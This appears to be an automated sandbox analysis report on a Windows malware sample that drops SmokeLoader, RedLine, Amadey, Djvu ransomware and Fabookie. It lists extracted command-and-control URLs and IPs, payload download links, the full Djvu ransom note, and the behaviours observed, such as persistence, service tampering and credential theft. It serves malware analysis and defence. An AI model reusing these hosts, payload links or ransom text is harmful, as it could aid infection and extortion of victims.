amadey | bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7

Resubmissions

03/08/2023, 12:00

230803-n6q5kaec8z 10

03/08/2023, 11:22

230803-ngwnrada39 10

Analysis

max time kernel
328s
max time network
331s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
03/08/2023, 12:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7.exe
Size

281KB
MD5

6ade4e2ec6713be70add49d6000d2527
SHA1

03af16c04d45b38dfe65e35e6bf6052e6e9308ad
SHA256

bfe21af9d8655d916db1ddeb7518aeac8c23bea0c7a2e798b354b1d6c54fffb7
SHA512

9fa22eaeab9c7f1dfae57cbc95008c57335288f53f7184a42f3baec1bfcedc887f7c5d3dff976e02c15378f5d585b9240623c8d0df140912ca19ebd5ed5b868c
SSDEEP

3072:TDIiD0rmf+0YpLus7RqQ36LTytk62sVyOWL1V+YhhuQdAxNWHhIWe1ED7:oiMm20YpLhR/nm6nV3WWYDmxv1E

Score

10^/10

amadey djvu fabookie redline smokeloader trafico backdoor discovery evasion infostealer persistence ransomware spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2022

http://potunulit.org/

http://hutnilior.net/

http://bulimu55t.net/

http://soryytlic4.net/

http://novanosa5org.org/

http://nuljjjnuli.org/

http://tolilolihul.net/

http://somatoka51hub.net/

http://hujukui3.net/

http://bukubuka1.net/

http://golilopaster.org/

http://newzelannd66.org/

http://otriluyttn.org/

rc4.i32

Extracted

Family

redline

Botnet

trafico

176.123.9.142:14845

Attributes

auth_value
ae8f72bc34fc0c248b3abb9f51375751

Extracted

Family

amadey

Version

3.83

5.42.65.80/8bmeVwqx/index.php

Extracted

Family

djvu

http://zexeq.com/raud/get.php

http://zexeq.com/lancer/get.php

Attributes

extension
.pouu
offline_id
Cr1qw6x3Gr36kVHAZvrjTBFecy9ksVLEfrUGCjt1
payload_url
http://colisumy.com/dl/build2.exe

http://zexeq.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-MDnNtxiPM0 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0755JOsie

rsa_pubkey.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Fabookie payload 2 IoCs

resource	yara_rule
behavioral1/memory/5924-433-0x0000000002B20000-0x0000000002C51000-memory.dmp	family_fabookie
behavioral1/memory/5924-460-0x0000000002B20000-0x0000000002C51000-memory.dmp	family_fabookie

Detected Djvu ransomware 10 IoCs

resource	yara_rule
behavioral1/memory/3612-465-0x0000000004270000-0x000000000438B000-memory.dmp	family_djvu
behavioral1/memory/5296-470-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/620-485-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/620-496-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/5628-501-0x0000000004250000-0x000000000436B000-memory.dmp	family_djvu
behavioral1/memory/5296-512-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/5668-514-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/5668-520-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4972-525-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4972-534-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	1066.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	1066.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	1066.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	1066.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	1066.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

description	pid	Process	procid_target
PID 6084 created 2556	6084	timeout.exe	45
PID 6084 created 2556	6084	timeout.exe	45
PID 6084 created 2556	6084	timeout.exe	45
PID 6084 created 2556	6084	timeout.exe	45
PID 6084 created 2556	6084	timeout.exe	45
PID 4544 created 2556	4544	updater.exe	45
PID 4544 created 2556	4544	updater.exe	45
PID 4544 created 2556	4544	updater.exe	45
PID 4544 created 2556	4544	updater.exe	45
PID 3276 created 2556	3276	conhost.exe	45
PID 4544 created 2556	4544	updater.exe	45
PID 4544 created 2556	4544	updater.exe	45

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 52 IoCs

pid	Process
3612	1066.exe
208	123C.exe
440	14DD.exe
844	16C2.exe
3836	18F6.exe
5332	3357.exe
5392	3711.exe
5472	3B19.exe
5584	Conhost.exe
5628	4C03.exe
5836	schtasks.exe
5924	aafg31.exe
5996	powershell.exe
6084	XandETC.exe
1004	oneetx.exe
5296	1066.exe
620	3357.exe
6076	3357.exe
5668	4C03.exe
6036	4C03.exe
4972	522E.exe
5444	522E.exe
5324	3357.exe
4084	4C03.exe
1496	oneetx.exe
5940	522E.exe
4544	updater.exe
5380	build2.exe
5384	build2.exe
5612	build2.exe
1944	build2.exe
4024	Navigate.pif
3108	build3.exe
5548	ShellExperienceHost.exe
5468	build3.exe
6104	build2.exe
5840	1066.exe
2472	taskmgr.exe
5864	Navigate.pif
5920	1066.exe
4816	build2.exe
1888	build2.exe
3600	build3.exe
1668	oneetx.exe
5268	mstsca.exe
2640	Navigate.pif
2704	Navigate.pif
3980	juautds
1716	1066.exe
4620	1066.exe
3708	oneetx.exe
3740	oneetx.exe

Loads dropped DLL 15 IoCs

pid	Process
2764	regsvr32.exe
2764	regsvr32.exe
3108	build3.exe
5612	build2.exe
5612	build2.exe
1944	build2.exe
1944	build2.exe
6104	build2.exe
6104	build2.exe
1888	build2.exe
1888	build2.exe
2640	Navigate.pif
2640	Navigate.pif
2704	Navigate.pif
2704	Navigate.pif

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1276	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\4b002df8-97e1-450d-ace7-cd5f2062b119\\1066.exe\" --AutoStart"	1066.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
77	api.2ip.ua
78	api.2ip.ua
85	api.2ip.ua
92	api.2ip.ua
98	api.2ip.ua
86	api.2ip.ua
87	api.2ip.ua
88	api.2ip.ua
114	api.2ip.ua
149	api.2ip.ua

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 17 IoCs

description	pid	Process	procid_target
PID 3612 set thread context of 5296	3612	1066.exe	145
PID 5332 set thread context of 620	5332	3357.exe	147
PID 5628 set thread context of 5668	5628	4C03.exe	149
PID 5836 set thread context of 4972	5836	schtasks.exe	151
PID 6076 set thread context of 5324	6076	3357.exe	187
PID 6036 set thread context of 4084	6036	4C03.exe	188
PID 5444 set thread context of 5940	5444	522E.exe	190
PID 5380 set thread context of 5612	5380	build2.exe	193
PID 5384 set thread context of 1944	5384	build2.exe	195
PID 5548 set thread context of 6104	5548	ShellExperienceHost.exe	204
PID 5840 set thread context of 5920	5840	1066.exe	215
PID 4816 set thread context of 1888	4816	build2.exe	221
PID 4024 set thread context of 2640	4024	Navigate.pif	225
PID 4544 set thread context of 3276	4544	updater.exe	257
PID 4544 set thread context of 4424	4544	updater.exe	275
PID 5864 set thread context of 2704	5864	Navigate.pif	228
PID 1716 set thread context of 4620	1716	1066.exe	289

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	timeout.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File opened for modification	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3360	sc.exe
5824	sc.exe
3056	sc.exe
4916	sc.exe
2552	sc.exe
2680	sc.exe
3572	sc.exe
312	sc.exe
5912	sc.exe
1476	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
5940	5392	WerFault.exe	123
4952	5472	WerFault.exe	124
2404	5612	WerFault.exe	193
5344	1944	WerFault.exe	195
5292	6104	WerFault.exe	204
2404	1888	WerFault.exe	221

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5960	schtasks.exe
3440	schtasks.exe
5252	schtasks.exe
2672	schtasks.exe
780	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
5936	timeout.exe
6084	timeout.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5528	WMIC.exe
5752	WMIC.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\Software\Microsoft\Internet Explorer\TypedURLs	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Downloads"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "5"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{65F125E5-7BE1-4810-BA9D-D271C8432CE3}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616209"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\Sort = 0000000000000000000000000000000002000000f4eec83032a8e241ab32e3c3ca28fd29030000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "4294967295"	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\FFlags = "1092616193"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\{24CCB8A6-C45A-477D-B940-3382B9225668}\GroupByDirection = "1"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3011986978-2180659500-3669311805-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	Explorer.EXE
